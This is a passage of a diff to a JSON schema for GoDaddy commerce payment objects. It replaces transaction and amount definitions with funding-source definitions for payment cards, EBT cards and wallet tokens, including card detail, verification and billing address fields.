"object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "authorizations": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "externalProcessor": { + "description": "Processor that has already processed this payment externally", + "type": "string" + }, + "fundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "allOf": [ + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", + "cardType": { "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" ], - "description": "Transaction status" + "type": "string" }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" + "city": { + "description": "City", + "type": "string" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "amount", - "currency" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" + "cryptogram": { + "type": "string" }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + }, + "title": "Card VerificationData", + "type": "object" }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } }, - "description": "Fees if any" + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPin": { + "description": "Card pin block.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + }, + "title": "Card VerificationData", + "type": "object" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "city": { + "description": "City", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "country": { + "description": "Country", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "line1": { + "description": "Address line 1", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "line2": { + "description": "Address line 2", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "postalCode": { + "description": "Postal Code", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + 